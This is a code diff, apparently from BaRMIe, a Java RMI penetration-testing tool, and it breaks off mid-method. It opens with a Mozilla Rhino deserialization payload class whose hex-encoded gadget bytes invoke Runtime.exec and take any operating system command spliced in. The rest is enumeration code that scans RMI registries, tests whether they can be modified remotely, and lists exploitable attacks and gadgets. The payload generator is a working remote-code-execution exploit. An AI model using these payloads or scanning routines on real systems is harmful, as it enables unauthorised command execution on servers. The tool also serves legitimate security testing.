"cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e019900000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007874000f6a6176612e6c616e672e436c617373787704000000017371007e0159000000337a8b71007e003971007e0078737200206f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f78583e1be606e304b503000070787077020101740005656e7465727672001e6f72672e6d6f7a696c6c612e6a6176617363726970742e436f6e7465787400000000000000000000007078707702000078707371007e0159000038eb000771007e003b71007e0078737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614d6574686f64d0414efe72fe69000200024c000c66756e6374696f6e4e616d6571007e00055b00076d6574686f64737400235b4c6f72672f6d6f7a696c6c612f6a6176617363726970742f4d656d626572426f783b707871007e002e000000007070707704000000007877040000000078000000047071007e003b757200235b4c6f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f783b3226214ee6215239020000707870000000017371007e019f7702010174000e6e65775472616e73666f726d65727671007e01927702000078707877040000000078"; + + /******************* + * Set payload properties + ******************/ + public RhinoPayload6() { + super(); + this.setName("Rhino6"); + this.setDescription("Mozilla Rhino 1.7r6, 1.7r7, and 1.7.7.1"); + this.setRemediationAdvice("[Mozilla Rhino] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "js.jar", "rhino-1.7.7.1.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} + diff --git a/src/nb/barmie/modes/enumeration/EnumerationMode.java b/src/nb/barmie/modes/enumeration/EnumerationMode.java new file mode 100644 index 0000000..543c88d --- /dev/null +++ b/src/nb/barmie/modes/enumeration/EnumerationMode.java @@ -0,0 +1,62 @@ +package nb.barmie.modes.enumeration; + +import java.util.ArrayList; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadPoolExecutor; +import nb.barmie.modes.attack.RMIAttackFactory; +import nb.barmie.net.TCPEndpoint; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * Enumeration mode - spawns EnumerationTask objects to + * enumerate each target and print out the enumeration + * results. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class EnumerationMode { + /******************* + * Properties + ******************/ + private ProgramOptions _opts; + + /******************* + * Construct the enumeration mode object. + * + * @param options The program options. + ******************/ + public EnumerationMode(ProgramOptions options) { + this._opts = options; + } + + /******************* + * Enumeration mode main function. + ******************/ + public void run() { + ThreadPoolExecutor tpe = (ThreadPoolExecutor)Executors.newFixedThreadPool(this._opts.getThreadCount()); + ArrayList targets = this._opts.getTargets(); + RMIEnumerator rmie = new RMIEnumerator(this._opts); + + //Initialise the list of known attacks with the current program options + RMIAttackFactory.setProgramOptions(this._opts); + + //Status + System.out.println("Scanning " + targets.size() + " target(s) for objects exposed via an RMI registry..."); + System.out.println(""); + + //Pass all tasks to the thread pool executor + for(TCPEndpoint t: targets) { + tpe.execute(new EnumerationTask(t, rmie, this._opts)); + } + + //Shutdown the thread pool and wait for threads to finish executing + tpe.shutdown(); + while(tpe.isTerminated() == false) { } + + //Done + System.out.println("Successfully scanned " + targets.size() + " target(s) for objects exposed via RMI."); + + //Clean up all attacks (e.g. stop proxies that were started to enumerate endpoints) + RMIAttackFactory.cleanUp(); + } +} diff --git a/src/nb/barmie/modes/enumeration/EnumerationTask.java b/src/nb/barmie/modes/enumeration/EnumerationTask.java new file mode 100644 index 0000000..a5125f5 --- /dev/null +++ b/src/nb/barmie/modes/enumeration/EnumerationTask.java @@ -0,0 +1,193 @@ +package nb.barmie.modes.enumeration; + +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.ArrayList; +import java.util.Collections; +import nb.barmie.modes.attack.DeserPayload; +import nb.barmie.modes.attack.DeserPayloadFactory; +import nb.barmie.modes.attack.RMIAttack; +import nb.barmie.modes.attack.RMIAttackFactory; +import nb.barmie.net.TCPEndpoint; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * Task object which enumerates a single RMI registry + * target before printing out full details. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class EnumerationTask implements Runnable { + /******************* + * Properties + ******************/ + private final TCPEndpoint _target; + private final RMIEnumerator _enumerator; + private final ProgramOptions _options; + + /******************* + * Construct the task with a given target and RMI enumerator object. + * + * @param target The target to enumerate. + * @param rmie The RMI enumerator to use in enumeration. + ******************/ + public EnumerationTask(TCPEndpoint target, RMIEnumerator rmie, ProgramOptions options) { + this._target = target; + this._enumerator = rmie; + this._options = options; + } + + /******************* + * Main method - enumerate an RMI endpoint and build a string describing + * it before printing the results out. + ******************/ + public void run() { + RMIEndpoint ep; + String output = ""; + ArrayList attacks; + ArrayList deserPayloads; + boolean deserAttackAvailable = false; + boolean isLocalRegistry = false; + int oi = 0, ci = 0; + + //Enumerate the endpoint + ep = this._enumerator.enumerateEndpoint(this._target); + + //Set the isLocalRegistry flag if the target is localhost + if(this._target.getHost().startsWith("127.") == true || this._target.getHost().equalsIgnoreCase("localhost")) { + isLocalRegistry = true; + } + + //Begin output + if(ep.isRegistry()) { + output += "RMI Registry at " + this._target.getHost() + ":" + this._target.getPort() + "\n"; + + //Object details + output += "Objects exposed: " + ep.getExposedObjects().size() + "\n"; + for(RMIObject o: ep.getExposedObjects()) { + //Print the object name + output += "Object " + (++oi) + "\n"; + output += " Name: " + o.getObjectName() + "\n"; + + //Print the object endpoint details + output += " Endpoint: " + o.getObjectEndpoint().getHost() + ":" + o.getObjectEndpoint().getPort() + "\n"; + if(isLocalRegistry == false && (o.getObjectEndpoint().getHost().startsWith("127.") || o.getObjectEndpoint().getHost().equalsIgnoreCase("localhost"))) { + //The RMI registry is not on localhost, but the remote object is bound to localhost, check whether it is listening externally + if(this.testConnection(this._target.getHost(), o.getObjectEndpoint().getPort())) { + //The remote object is bound to localhost, but appears to be accessible remotely + output += " [+] Object is bound to localhost, but appears to be exposed remotely.\n"; + } + } + + //Print class details + output += " Classes: " + o.getObjectClasses().size() + "\n"; + for(String className: o.getObjectClasses().keySet()) { + //Print class header and name + output += " Class " + (++ci) + "\n"; + output += " Classname: " + className + "\n"; + + //Print string annotations if there are any + if(o.getStringAnnotations().size() > 0) { + output += " String annotations: " + o.getStringAnnotations().size() + "\n"; + for(String a: o.getStringAnnotations()) { + //Print out the annotation + output += " Annotation: " + a + "\n"; + } + } + } + } + + //Remote modification details + if(ep.isRemotelyModifiable()) { + output += "[+] It appears to be possible to remotely bind/unbind/rebind to this registry\n"; + } + + //Reset flag indicating whether a known deserialization attack is available + deserAttackAvailable = false; + + //Retrieve and print known RMI attacks + output += "\n"; + attacks = RMIAttackFactory.findAttacksForEndpoint(ep); + if(attacks.size() > 0) { + //Output the number of deserialization attacks + output += attacks.size() + " potential attacks identified (+++ = more reliable)\n"; + + //Sort the attacks in order of reliability and output the details + Collections.sort(attacks); + for(RMIAttack rmia: attacks) { + //Build output + output += rmia.getReliabilityIndicator() + " " + rmia.getDescription() + "\n"; + + //Check for deserialization attacks and set flag + if(deserAttackAvailable == false && rmia.isDeserAttack() == true) { + deserAttackAvailable = true; + } + } + } + + //If there were deserialization attacks, check for supported deserialization payload libraries + output += "\n"; + if(deserAttackAvailable == true) { + //Get all Java deserialization payloads affecting the endpoint + deserPayloads = DeserPayloadFactory.findGadgetsForEndpoint(ep); + + //Add some output + output += deserPayloads.size() + " deserialization gadgets found on leaked CLASSPATH\n"; + + //Build output for supported gadgets + if(deserPayloads.size() > 0) { + for(DeserPayload p: deserPayloads) { + output += "[+] " + p.getDescription() + "\n"; + } + } else { + output += "[~] Gadgets may still be present despite CLASSPATH not being leaked\n"; + } + } + } else if(ep.isObjectEndpoint()) { + output += this._target.getHost() + ":" + this._target.getPort() + " appears to be an RMI object endpoint, rather than a registry.\n"; + } + + //Check for enumeration exceptions and append this to the output + if(ep.getEnumException() != null) { + output += "[-] An exception occurred during enumeration.\n"; + output += " " + ep.getEnumException().toString() + "\n"; + } + + //Print the enumeration result + System.out.println(output); + System.out.flush(); + } + + /******************* + * Test whether a TCP connection can be established to the given host and + * port. + * + * Used, for example, when a remote object is bound to local host. The + * object may still be exposed externally, however, port forwarding will + * need to be used in order to access the remote object. + * + * @param host The host to connect to. + * @param port The port to connect to. + * @return True if the connection succeeded, false otherwise. + ******************/ + protected boolean testConnection(String host, int port) { + Socket sock = null; + + //Attempt to connect to the target + try { + sock = new Socket(); + sock.connect(new InetSocketAddress(host, port), this._options.getSocketTimeout()); + } catch(Exception ex) { + //An exception occurred, failed to connect + return false; + } finally { + //Make sure the connection is closed + if(sock != null) { + try { sock.close(); } catch(Exception ex) { } + } + } + + //Success + return true; + } +} diff --git a/src/nb/barmie/modes/enumeration/RMIEndpoint.java b/src/nb/barmie/modes/enumeration/RMIEndpoint.java new file mode 100644 index 0000000..351c799 --- /dev/null +++ b/src/nb/barmie/modes/enumeration/RMIEndpoint.java @@ -0,0 +1,133 @@ +package nb.barmie.modes.enumeration; + +import java.util.ArrayList; +import nb.barmie.net.TCPEndpoint; + +/*********************************************************** + * A container to manage and provide access to the details + * of a single RMI endpoint (RMI registry or object + * endpoint). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIEndpoint { + /******************* + * Properties + ******************/ + private final TCPEndpoint _endpoint; //The host and port of the RMI endpoint + private boolean _isRMIEndpoint; //True if this endpoint appears to be an RMI endpoint (RMI registry or RMI object endpoint) + private boolean _isRegistry; //True if this endpoint is an RMI registry, false if it's an RMI object endpoint + private boolean _isRemotelyModifiable; //True if the RMI registry appears to be remotely modifiable + private final ArrayList _exposedObjects; //A list of all objects exposed by an RMI registry + private Exception _enumerationException; //Used to store any noteworthy exceptions triggered whilst enumerating the endpoint + + /******************* + * Initialise the RMI endpoint object with a given TCP endpoint. + * + * @param endpoint The TCP endpoint this object represents. + ******************/ + public RMIEndpoint(TCPEndpoint endpoint) { + this._endpoint = endpoint; + this._isRMIEndpoint = false; + this._isRegistry = false; + this._isRemotelyModifiable = false; + this._exposedObjects = new ArrayList(); + } + + /******************* + * Add an RMIObject to the list of objects exposed through an RMI registry + * endpoint. + * + * @param object An RMIObject describing the remote object. + ******************/ + public void addRMIObject(RMIObject object) { + this._exposedObjects.add(object); + } + + /******************* + * Check if any of the objects on this endpoint use a given class name. + * + * @param className The class name to search for. + * @return True if any objects on this endpoint use the given class. + ******************/ + public boolean hasClass(String className) { + for(RMIObject obj: this._exposedObjects) { + for(String c: obj.getObjectClasses().keySet()) { + if(c.equals(className)) { + return true; + } + } + } + return false; + } + + /******************* + * Find the name of an object that uses the given class. + * + * Helper method to find objects to target. + * + * @param className The class name to search for. + * @return An object name or null if no matching objects are found. + ******************/ + public String findObjectWithClass(String className) { + for(RMIObject obj: this._exposedObjects) { + for(String c: obj.getObjectClasses().keySet()) { + if(c.equals(className)) { + return obj.getObjectName(); + } + } + } + return null; + } + + /******************* + * Check if any of the objects on this endpoint are annotated with the + * given JAR file name. + * + * @param jarName The jar file name to search for. + * @return True if any objects on this endpoint are annotated with the given jar file name. + ******************/ + public boolean hasJar(String jarName) { + String[] pathParts; + + //Iterate over all annotations of all exposed objects + for(RMIObject obj: this._exposedObjects) { + for(String a: obj.getStringAnnotations()) { + //Split the annotation on the space, colon, and semi-colon characters to get separate paths/URLs + for(String path: a.split("[ ;:]")) { + //Split the path on forward and backward slashes to get the JAR filename + pathParts = path.split("[\\\\/]"); + + //Check if the jar filename matches the one we were given + if(pathParts.length > 0) { + if(jarName.toLowerCase().equals(pathParts[pathParts.length - 1].toLowerCase())) { + return true; + } + } + } + } + } + + //No match + return false; + } + + /******************* + * Setters + ******************/ + public void setIsRMIEndpoint(boolean isRMIEndpoint) { this._isRMIEndpoint = isRMIEndpoint; } + public void setIsRegistry(boolean isRegistry) { this._isRegistry = isRegistry; } + public void setIsRemotelyModifiable(boolean isModifiable) { this._isRemotelyModifiable = isModifiable; } + public void setEnumException(Exception ex) { this._enumerationException = ex; } + + /******************* + * Getters + ******************/ + public TCPEndpoint getEndpoint() { return this._endpoint; } + public boolean isRMIEndpoint() { return this._isRMIEndpoint; } + public boolean isRegistry() { return this._isRegistry && this._isRMIEndpoint; } + public boolean isObjectEndpoint() { return (!this._isRegistry) && this._isRMIEndpoint; } + public boolean isRemotelyModifiable() { return this._isRemotelyModifiable; } + public Exception getEnumException() { return this._enumerationException; } + public ArrayList getExposedObjects() { return this._exposedObjects; } +} diff --git a/src/nb/barmie/modes/enumeration/RMIEnumerator.java b/src/nb/barmie/modes/enumeration/RMIEnumerator.java new file mode 100644 index 0000000..c2e09b1 --- /dev/null +++ b/src/nb/barmie/modes/enumeration/RMIEnumerator.java @@ -0,0 +1,189 @@ +package nb.barmie.modes.enumeration; + +import java.net.InetAddress; +import java.rmi.AccessException; +import java.rmi.ConnectException; +import java.rmi.ConnectIOException; +import java.rmi.NoSuchObjectException; +import java.rmi.NotBoundException; +import java.rmi.RemoteException; +import java.rmi.ServerError; +import java.rmi.ServerException; +import java.rmi.ServerRuntimeException; +import java.rmi.UnknownHostException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.security.SecureRandom; +import java.util.ArrayList; +import java.util.Arrays; +import nb.barmie.net.TCPEndpoint; +import nb.barmie.net.TimeoutClientSocketFactory; +import nb.barmie.net.proxy.RMIReturnDataCapturingProxy; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * Class to perform enumeration of an RMI endpoint and + * build a data structure describing it. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIEnumerator { + /******************* + * Constants and properties + ******************/ + //Constants + private final String DEFAULT_UNBIND_NAME = "7a7e92763ffa6ed3a01bc9308dec09a944a6c9ffe6475be7cf70b2ab660ea000d60db9dfe2acee3a59d162da82800bb6de2e5f515dc57b24dfbfa233973c43cb"; + + //Program options (e.g. for TCP timeouts) + private final ProgramOptions _options; + + /******************* + * Initialise the RMI enumerator with the given program options data. + * + * @param options The program options. + ******************/ + public RMIEnumerator(ProgramOptions options) { + this._options = options; + } + + /******************* + * Enumerate a single RMI endpoint. This method probes the given endpoint + * to identify whether it's an RMI registry or object endpoint, then in the + * case of RMI registry endpoints a proxy is used to capture and extract + * additional details about the exposed objects. + * + * @param target The TCP endpoint to enumerate. + * @return An RMIEndpoint object containing details of the endpoint. + *******************/ + public RMIEndpoint enumerateEndpoint(TCPEndpoint target) { + RMIReturnDataCapturingProxy rmiProxy; + RMIEndpoint rmie; + RMIReplyDataParser replyParser; + Registry reg; + String[] objectNames; + String unbindName; + Object obj; + int i; + + //Create an RMIEndpoint object for this target + rmie = new RMIEndpoint(target); + + //Create a Registry reference to the endpoint + try { + reg = LocateRegistry.getRegistry(target.getHost(), target.getPort(), new TimeoutClientSocketFactory(this._options.getSocketTimeout())); + } catch(RemoteException re) { + //Could not create a reference to the registry + throw new RuntimeException("Unable to create a java.rmi.Registry reference for the endpoint '" + target.getHost() + ":" + target.getPort() + "'."); + } + + //Begin enumerating the endpoint + try { + //Attempt to retrieve a list of objects from the endpoint + objectNames = reg.list(); + rmie.setIsRMIEndpoint(true); + rmie.setIsRegistry(true); + + //Test whether the registry can be manipulated + try { + //Find an object name that isn't bound to the registry already + unbindName = getUnboundObjectName(objectNames); + + //Attempt to unbind an object that isn't bound to the registry + reg.unbind(unbindName); + } catch(NotBoundException nbe) { + //Looks like the registry can be manipulated remotely + rmie.setIsRemotelyModifiable(true); + } catch(Exception e) { + //Registry cannot be manipulated remotely, swallow the exception + } + + //Start a proxy to capture the object details + rmiProxy = new RMIReturnDataCapturingProxy(InetAddress.getByName(target.getHost()), target.getPort(), this._options); + rmiProxy.startProxy(); + + //Get a new Registry reference pointing at the proxy + reg = LocateRegistry.getRegistry(rmiProxy.getServerListenAddress().getHostAddress(), rmiProxy.getServerListenPort(), new TimeoutClientSocketFactory(this._options.getSocketTimeout())); + + //List objects to establish an RMI registry connection through the proxy + objectNames = reg.list(); + + //Create a ReplyData parser to extract object details from captured RMI ReplyData packets + replyParser = new RMIReplyDataParser(); + + //Request each of the exposed objects and extract information about the objects from the data captured by the proxy + for(i = 0; i < objectNames.length; ++i) { + //Reset the proxy data buffer + rmiProxy.resetDataBuffer(); + + //Request an object from the registry + try { + obj = reg.lookup(objectNames[i]); + } catch(Exception e) { + //Swallow the exception, we just need the data that came back through the proxy + } + + //Delay to allow any remaining RMI ReplyData packets to be buffered from the above call to lookup() + Thread.sleep(250); + + //If a new RMI connection was established then re-request this object + if(rmiProxy.didReconnect() == true) { + rmiProxy.resetReconnectFlag(); + --i; + } else { + //Extract object details from the data stream and store the details in the RMIEndpoint object + rmie.addRMIObject(replyParser.extractObjectDetails(objectNames[i], rmiProxy.getDataBuffer())); + } + } + + //Done enumerating objects, shutdown the proxy + rmiProxy.stopProxy(true); + } catch(AccessException ae) { + //Looks like an RMI registry endpoint but access is denied + rmie.setIsRMIEndpoint(true); + rmie.setIsRegistry(true); + rmie.setEnumException(ae); + } catch(NoSuchObjectException|ServerError|ServerException|ServerRuntimeException se) { + //An RMI exception occurred on the endpoint indicating that it is an RMI endpoint but it's not clear whether it's an object or registry + rmie.setIsRMIEndpoint(true); + rmie.setEnumException(se); + } catch(ConnectException|ConnectIOException|UnknownHostException ce) { + //Unable to connect to the endpoint + rmie.setEnumException(ce); + } catch(Exception re) { + //Other exceptions probably indicate that it isn't actually an RMI endpoint + rmie.setEnumException(re); + } + + //Return the RMI endpoint details + return rmie; + } + + /******************* + * Get an object name that isn't in the given list of bound object names. + * + * Helper function to aid in testing whether a registry can be manipulated + * remotely. + * + * @param objectNames The list of object names that are bound to the registry being tested. + * @return A string representing an object name that is not bound to the registry. + ******************/ + private String getUnboundObjectName(String[] objectNames) { + SecureRandom sRand; + ArrayList objNames; + String objName; + + //Start with defaults + objNames = new ArrayList(Arrays.asList(objectNames)); + objName = this.DEFAULT_UNBIND_NAME; + sRand = new SecureRandom(); + + //Loop until we find an object name that isn't bound in the registry + while(objNames.contains(objName)) { + //Generate a new random object name + objName = Long.toHexString(sRand.nextLong()) + Long.toHexString(sRand.nextLong()) + Long.toHexString(sRand.nextLong()); + } + + //Return the object name to use + return objName; + } +} diff --git a/src/nb/barmie/modes/enumeration/RMIObject.java b/src/nb/barmie/modes/enumeration/RMIObject.java new file mode 100644 index 0000000..d62bd8f --- /dev/null +++ b/src/nb/barmie/modes/enumeration/RMIObject.java @@ -0,0 +1,88 @@ +package nb.barmie.modes.enumeration; + +import java.util.ArrayList; +import java.util.HashMap; +import nb.barmie.net.TCPEndpoint; + +/*********************************************************** + * A container to manage and provide access to the details + * of a single object that has been exposed through an RMI + * registry service. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIObject { + /******************* + * Properties + ******************/ + private final String _objectName; //The name that the object is bound to in the RMI registry service + private final HashMap> _classes; //The classes behind the object, mapped to any string annotations attached to the class definitions + private TCPEndpoint _objectEndpoint; //The host/port where the object is hosted + private Exception _objectParsingException; //Set if an exception occurred whilst parsing the object details from network packets + + /******************* + * Construct the object with the name that the remote object is bound to. + * + * @param objectName The name that the remote object is bound to in an RMI registry. + ******************/ + public RMIObject(String objectName) { + //Initialise the object + this._objectName = objectName; + this._classes = new HashMap>(); + this._objectEndpoint = null; + this._objectParsingException = null; + } + + /******************* + * Add a class to the object description - this will be one of the + * hierarchy of classes and interfaces behind the object. + * + * @param classname A fully-qualified class name extracted from the RMI ReplyData packet. + ******************/ + public void addClass(String classname) { + this._classes.put(classname, new ArrayList()); + } + + /******************* + * Add a string annotation to a class. + * + * @param classname The fully-qualified class name to annotate. + * @param annotation The string annotation. + ******************/ + public void addStringAnnotation(String classname, String annotation) { + this._classes.get(classname).add(annotation); + } + + /******************* + * Get all string annotations from this object's classes. + * + * @return A list of string annotations from this object's classes. + ******************/ + public ArrayList getStringAnnotations() { + ArrayList annotations = new ArrayList(); + + //Build a list of string annotations for each class making up this object + for(String className: this._classes.keySet()) { + for(String annotation: this._classes.get(className)) { + annotations.add(annotation); + } + } + + //Return the annotations + return annotations; + } + + /******************* + * Setters + ******************/ + public void setObjectEndpoint(TCPEndpoint endpoint) { this._objectEndpoint = endpoint; } + public void setParsingException(Exception exception) { this._objectParsingException = exception; } + + /******************* + * Getters + ******************/ + public String getObjectName() { return this._objectName; } + public HashMap> getObjectClasses() { return this._classes; } + public TCPEndpoint getObjectEndpoint() { return this._objectEndpoint; } + public Exception getParsingException() { return this._objectParsingException; } +} diff --git a/src/nb/barmie/modes/enumeration/RMIReplyDataParser.java b/src/nb/barmie/modes/enumeration/RMIReplyDataParser.java new file mode 100644 index 0000000..5e514bd --- /dev/null +++ b/src/nb/barmie/modes/enumeration/RMIReplyDataParser.java @@ -0,0 +1,719 @@ +package nb.barmie.modes.enumeration; + +import java.io.ObjectStreamConstants; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.LinkedList; +import nb.barmie.exceptions.BaRMIeInvalidPortException; +import nb.barmie.exceptions.BaRMIeInvalidReplyDataPacketException; +import nb.barmie.net.TCPEndpoint; + +/*********************************************************** + * Parser for RMI ReplyData packets (Java serialisation). + * + * Extracts class names, string annotations, and the TCP + * endpoint details of a remote object from the RMI + * ReplyData packet. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIReplyDataParser { + /******************* + * Properties + ******************/ + private boolean _recordClasses; //Indicates whether class names should be recorded during object parsing + private LinkedList>> _classDataDesc; //List of classDescFlags mapped to field type codes from an object's classDesc + + /******************* + * Construct the reply data parser. + ******************/ + public RMIReplyDataParser() { + this._recordClasses = true; + this._classDataDesc = new LinkedList>>(); + } + + /******************* + * Extract object details from a ReplyData that was captured through the + * RMI registry proxy. + * + * @param objName The object name bound to the RMI registry for which data is being extracted. + * @param packetBytes The ReplyData captured from the RMI registry which contains the remote object description. + * @return An RMIObject describing the remote object. + ******************/ + public RMIObject extractObjectDetails(String objName, ArrayList packetBytes) { + LinkedList dataStack; + RMIObject obj; + byte b; + int i; + + //Create the RMIObject with the given object name + obj = new RMIObject(objName); + + //Copy the given buffer into a stack for parsing + dataStack = new LinkedList(); + dataStack.addAll(packetBytes); + + //Set the 'recordClasses' flag to true so that class descriptions are added to the object description + this._recordClasses = true; + + //Start parsing the object data + try { + //Validate the RMI packet type byte + if(dataStack.peek() != 0x51) { throw new BaRMIeInvalidReplyDataPacketException("The data buffer begins with 0x" + String.format("%02x", dataStack.peek()) + ", which is not a ReplyData packet (0x51 expected)."); } + dataStack.pop(); + + //Validate the serialisation header + if(dataStack.pop() != (byte)0xac || dataStack.pop() != (byte)0xed) { throw new BaRMIeInvalidReplyDataPacketException("The data buffer does not contain the serialisation magic number data."); } + + //Validate the serialisation stream version + if(dataStack.pop() != 0x00 || dataStack.pop() != 0x05) { throw new BaRMIeInvalidReplyDataPacketException("The data buffer does not contain version 5 serialisation data."); } + + //Parse the serialisation stream elements to extract class names, annotations, and endpoint details + while(dataStack.size() > 0) { + //Get the type of the next stream element + b = dataStack.pop(); + + //Process the element accordingly + switch(b) { + //Skip over top-level block data elements + case ObjectStreamConstants.TC_BLOCKDATA: + //Read the block length + b = dataStack.pop(); + + //Skip over the block bytes + for(i = 0; i < b; ++i) { + dataStack.pop(); + } + break; + + //Process the returned RMI object + case ObjectStreamConstants.TC_OBJECT: + this.handleNewObjectElement(obj, dataStack); + break; + + //Unknown top-level stream element type + default: + throw new BaRMIeInvalidReplyDataPacketException("Unknown serialisation stream element (0x" + String.format("%02x", b) + ")."); + } + } + } catch(Exception e) { + //Something went wrong, store the exception in the object element so it can be reviewed + obj.setParsingException(e); + } + + //Return the RMIObject + return obj; + } + + /******************* + * Handle a new object element in the ReplyData stream. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + ******************/ + private void handleNewObjectElement(RMIObject obj, LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + LinkedList>> classDataDesc; + HashMap> classDataDescElement; + ArrayList classDataDescFields; + + //Reset the field data + this._classDataDesc.clear(); + + //Read the class desc + this.handleClassDesc(obj, dataStack); + + //Set the 'recordClasses' flag to false so that no further classes are added to the object description + this._recordClasses = false; + + //Create a fresh copy of the class data description to use in reading the object data + classDataDesc = new LinkedList>>(); + for(HashMap> el: this._classDataDesc) { + classDataDescElement = new HashMap>(); + for(Byte key: el.keySet()) { + classDataDescFields = new ArrayList(); + for(Character typeCode: el.get(key)) { + classDataDescFields.add(typeCode); + } + classDataDescElement.put(key, classDataDescFields); + } + classDataDesc.add(classDataDescElement); + } + + //Read in the class data based on the classDataDesc + this.handleClassData(obj, dataStack, classDataDesc); + } + + /******************* + * Handle a classDesc element. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + ******************/ + private void handleClassDesc(RMIObject obj, LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + String className; + + //Delegate depending on the type of classDesc + switch(dataStack.pop()) { + //ClassDesc + case ObjectStreamConstants.TC_CLASSDESC: + //Read the class name + className = this.extractUtf8(dataStack); + + //Skip over the serialVersionUID + this.extractLong(dataStack); + + //Handle the classDescInfo element, pass the class name in as there may be annotations for the class in there + this.handleClassDescInfo(obj, dataStack, className); + break; + + //ProxyClassDesc + case ObjectStreamConstants.TC_PROXYCLASSDESC: + //Handle the proxyClassDescInfo element + this.handleProxyClassDescInfo(obj, dataStack); + break; + + //Null - e.g. when the super class is null + case ObjectStreamConstants.TC_NULL: + break; + + //Unknown classDesc type + default: + throw new BaRMIeInvalidReplyDataPacketException("Unknown classDesc element type."); + } + } + + /******************* + * Handle a classDescInfo element and add the class name and any string + * annotations to the object description. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + * @param className The class name that was read prior to reading this classDescInfo element. + ******************/ + private void handleClassDescInfo(RMIObject obj, LinkedList dataStack, String className) throws BaRMIeInvalidReplyDataPacketException { + ArrayList stringAnnotations; + byte classDescFlags; + int i; + + //Read the class desc flags + classDescFlags = dataStack.pop(); + + //Read the field data + this.handleFields(obj, dataStack, classDescFlags); + + //Read the class annotations + stringAnnotations = this.handleClassAnnotation(obj, dataStack); + + //Add the class to the object description along with any string annotations + if(this._recordClasses) { + obj.addClass(className); + for(String annotation: stringAnnotations) { + obj.addStringAnnotation(className, annotation); + } + } + + //Read the super class description + this.handleClassDesc(obj, dataStack); + } + + /******************* + * Handle a proxyClassDescInfo element and add the interface names and + * string annotations to the object description. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + ******************/ + private void handleProxyClassDescInfo(RMIObject obj, LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + String[] interfaceNames; + ArrayList stringAnnotations; + int interfaceCount; + int i; + + //Read the number of interfaces from the packet + interfaceCount = this.extractInt(dataStack); + + //Read in the interface names + interfaceNames = new String[interfaceCount]; + for(i = 0; i < interfaceCount; ++i) { + interfaceNames[i] = this.extractUtf8(dataStack); + } + + //Handle class annotations and retrieve any string annotations to add to the object description + stringAnnotations = this.handleClassAnnotation(obj, dataStack); + + //Add the interfaces to the object description + if(this._recordClasses) { + for(i = 0; i < interfaceCount; ++i) { + //Add the interface name + obj.addClass(interfaceNames[i]); + + //Attach any related string annotations to the first interface + if(i == 0) { + for(String annotation: 